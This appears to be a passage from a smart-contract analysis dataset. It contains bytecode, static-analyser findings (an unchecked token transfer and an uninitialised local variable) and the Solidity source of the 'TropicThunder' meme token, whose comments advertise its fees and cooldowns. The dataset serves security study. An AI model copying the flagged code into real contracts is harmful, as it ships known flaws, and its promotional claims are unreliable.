905082565b60095481565b600f5481565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a7957fe5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611b1c57600080fd5b505af1158015611b30573d6000803e3d6000fd5b505050506040513d6020811015611b4657600080fd5b810190808051906020019092919050505050505050565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bb657fe5b60003073ffffffffffffffffffffffffffffffffffffffff163114151515611bdd57600080fd5b600b54600e5410151515611bf057600080fd5b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015611c6f573d6000803e3d6000fd5b50565b60026020528060005260406000206000915090505481565b6000806000806000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050806003600083815260200190815260200160002060000154600360008481526020019081526020016000206001015460036000858152602001908152602001600020600201549450945094509450509193509193565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d8357fe5b60006002811115611d9057fe5b600560009054906101000a900460ff166002811115611dab57fe5b141515611db757600080fd5b8060108190555050565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e1a57fe5b60006002811115611e2757fe5b600560009054906101000a900460ff166002811115611e4257fe5b141515611e4e57600080fd5b8060068190555050565b60105481565b60065481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b600560009054906101000a900460ff1681565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f0057fe5b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611f5d57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ffa57fe5b6000600281111561200757fe5b600560009054906101000a900460ff16600281111561202257fe5b14151561202e57600080fd5b8060078190555050565b600d54815600a165627a7a723058200f1c7b7f76d541b0d6b98aaec70385d4577d86fc5ff4e3745446461be4ececbe0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
3,129
0x1d4d9af839754caeb386f03ef03196c0b2c517bc
/** *Submitted for verification at Etherscan.io on 2021-07-08 */ /** * https://t.me/TropicThunder_ETH * * * Tropic Thunder is a meme token with a twist! * Tropic Thunder has no sale limitations, which benefits whales and minnows alike, and an innovative dynamic reflection tax rate which increases proportionate to the size of the sell. * * TOKENOMICS: * 1,000,000,000,000 token supply * FIRST TWO MINUTES: 3,000,000,000 max buy / 45-second buy cooldown (these limitations are lifted automatically two minutes post-launch) * 15-second cooldown to sell after a buy, in order to limit bot behavior. NO OTHER COOLDOWNS, NO COOLDOWNS BETWEEN SELLS * No buy or sell token limits. Whales are welcome! * 10% total tax on buy * Fee on sells is dynamic, relative to price impact, minimum of 10% fee and maximum of 40% fee, with NO SELL LIMIT. * No team tokens, no presale * A unique approach to resolving the huge dumps after long pumps that have plagued every NotInu fork * * SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TropicThunder is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"TropicThunder | t.me/TropicThunder_ETH"; string private constant _symbol = unicode"TropicThunder"; uint8 private constant _decimals = 9; uint256 private _taxFee = 6; uint256 private _teamFee = 4; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 40; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(6)).div(10); _teamFee = (_impactFee.mul(4)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 6; _teamFee = 4; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 3000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130bd565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bdb565b61052d565b6040516101a491906130a2565b60405180910390f35b3480156101b957600080fd5b506101c261054b565b6040516101cf919061329f565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612b8c565b61055c565b60405161020c91906130a2565b60405180910390f35b34801561022157600080fd5b5061022a610635565b604051610237919061329f565b60405180910390f35b34801561024c57600080fd5b50610255610645565b6040516102629190613314565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c69565b61064e565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c17565b610735565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612afe565b61082d565b6040516102f1919061329f565b60405180910390f35b34801561030657600080fd5b5061030f610884565b005b34801561031d57600080fd5b5061033860048036038101906103339190612afe565b6108f6565b604051610345919061329f565b60405180910390f35b34801561035a57600080fd5b50610363610947565b005b34801561037157600080fd5b5061037a610a9a565b6040516103879190612fd4565b60405180910390f35b34801561039c57600080fd5b506103a5610ac3565b6040516103b291906130bd565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bdb565b610b00565b6040516103ef91906130a2565b60405180910390f35b34801561040457600080fd5b5061040d610b1e565b60405161041a91906130a2565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612afe565b610b35565b604051610457919061329f565b60405180910390f35b34801561046c57600080fd5b50610475610b8c565b005b34801561048357600080fd5b5061048c610c06565b005b34801561049a57600080fd5b506104a3610cca565b6040516104b0919061329f565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b50565b610cfc565b6040516104ed919061329f565b60405180910390f35b34801561050257600080fd5b5061050b610d83565b005b60606040518060600160405280602681526020016139f660269139905090565b600061054161053a611293565b848461129b565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610569848484611466565b61062a84610575611293565b61062585604051806060016040528060288152602001613a1c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105db611293565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d309092919063ffffffff16565b61129b565b600190509392505050565b6000610640306108f6565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661068f611293565b73ffffffffffffffffffffffffffffffffffffffff16146106af57600080fd5b603381106106f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e99061317f565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161072a919061329f565b60405180910390a150565b61073d611293565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c1906131df565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161082291906130a2565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261087d9190613465565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108c5611293565b73ffffffffffffffffffffffffffffffffffffffff16146108e557600080fd5b60004790506108f381611d94565b50565b6000610940600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8f565b9050919050565b61094f611293565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d3906131df565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017f54726f7069635468756e64657200000000000000000000000000000000000000815250905090565b6000610b14610b0d611293565b8484611466565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610b859190613465565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bcd611293565b73ffffffffffffffffffffffffffffffffffffffff1614610bed57600080fd5b6000610bf8306108f6565b9050610c0381611efd565b50565b610c0e611293565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c92906131df565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550607842610cc29190613384565b601581905550565b6000610cf7601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166108f6565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d8b611293565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0f906131df565b60405180910390fd5b60148054906101000a900460ff1615610e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5d9061325f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ef630601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061129b565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f3c57600080fd5b505afa158015610f50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f749190612b27565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fd657600080fd5b505afa158015610fea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100e9190612b27565b6040518363ffffffff1660e01b815260040161102b929190612fef565b602060405180830381600087803b15801561104557600080fd5b505af1158015611059573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107d9190612b27565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611106306108f6565b600080611111610a9a565b426040518863ffffffff1660e01b815260040161113396959493929190613041565b6060604051808303818588803b15801561114c57600080fd5b505af1158015611160573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111859190612c92565b5050506729a2241af62c000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161123d929190613018565b602060405180830381600087803b15801561125757600080fd5b505af115801561126b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061128f9190612c40565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561130b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113029061323f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561137b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113729061311f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611459919061329f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cd9061321f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153d906130df565b60405180910390fd5b60008111611589576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611580906131ff565b60405180910390fd5b611591610a9a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115ff57506115cf610a9a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c6d57601460159054906101000a900460ff161561170557600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611704576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117b05750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118065750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119d95760148054906101000a900460ff16611858576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184f9061327f565b60405180910390fd5b60066009819055506004600a81905550601460159054906101000a900460ff161561196f5742601554111561196e5760105481111561189657600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061191a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119119061313f565b60405180910390fd5b602d426119279190613384565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119d857600f426119919190613384565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b60006119e4306108f6565b9050601460169054906101000a900460ff16158015611a515750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a67575060148054906101000a900460ff165b15611c6b57601460159054906101000a900460ff1615611b065742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afc9061319f565b60405180910390fd5b5b601460179054906101000a900460ff1615611b90576000611b32600c54846121f790919063ffffffff16565b9050611b83611b7484611b66601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166108f6565b61227290919063ffffffff16565b826122d090919063ffffffff16565b9050611b8e8161231a565b505b6000811115611c5157611beb6064611bdd600b54611bcf601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166108f6565b6121f790919063ffffffff16565b6122d090919063ffffffff16565b811115611c4757611c446064611c36600b54611c28601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166108f6565b6121f790919063ffffffff16565b6122d090919063ffffffff16565b90505b611c5081611efd565b5b60004790506000811115611c6957611c6847611d94565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d145750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d1e57600090505b611d2a848484846123d1565b50505050565b6000838311158290611d78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6f91906130bd565b60405180910390fd5b5060008385611d879190613465565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611de46002846122d090919063fffffff